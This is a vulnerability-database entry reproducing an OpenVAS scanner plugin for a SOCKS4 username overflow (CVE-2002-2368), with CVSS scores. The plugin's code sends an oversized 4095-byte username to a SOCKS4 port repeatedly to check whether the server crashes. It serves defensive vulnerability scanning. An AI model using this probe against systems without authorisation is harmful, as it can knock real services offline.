Lucene search

K
openvasCopyright (C) 2002 Michel ArboiOPENVAS:136141256231011164
HistoryNov 03, 2005 - 12:00 a.m.

SOCKS4 Username Overflow DoS Vulnerability

2005-11-0300:00:00
Copyright (C) 2002 Michel Arboi
plugins.openvas.org
16

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

6.8 Medium

AI Score

Confidence

Low

0.021 Low

EPSS

Percentile

89.3%

It was possible to kill the remote SOCKS4 server by
sending a request with a too long username.

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11164");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2002-2368");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5147");
  script_name("SOCKS4 Username Overflow DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("socks.nasl");
  script_require_ports("Services/socks4", 1080);
  script_mandatory_keys("socks4/detected");

  script_tag(name:"summary", value:"It was possible to kill the remote SOCKS4 server by
  sending a request with a too long username.");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make your SOCKS server
  crash continually or even execute arbitrary code on your system.");

  script_tag(name:"solution", value:"Upgrade your software.");

  script_tag(name:"affected", value:"AN HTTPD is known to be affected. Other products might be
  affected as well.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:1080, proto:"socks4");

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

nlen = 4095;
# Connect to 10.10.10.10 on port 8080 (= 31*256+4)
cnx = raw_string(4, 1, 4, 31, 10, 10, 10, 10) + crap(nlen) + raw_string(0);

for(i=0; i < 6; i++) {
  send(socket:soc, data:cnx);
  r = recv(socket:soc, length:8, timeout:1);
  close(soc);
  soc = open_sock_tcp(port);
  if(!soc) {
    security_message(port);
    exit(0);
  } else {
    close(soc);
  }
}

exit(99);

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

6.8 Medium

AI Score

Confidence

Low

0.021 Low

EPSS

Percentile

89.3%

Related for OPENVAS:136141256231011164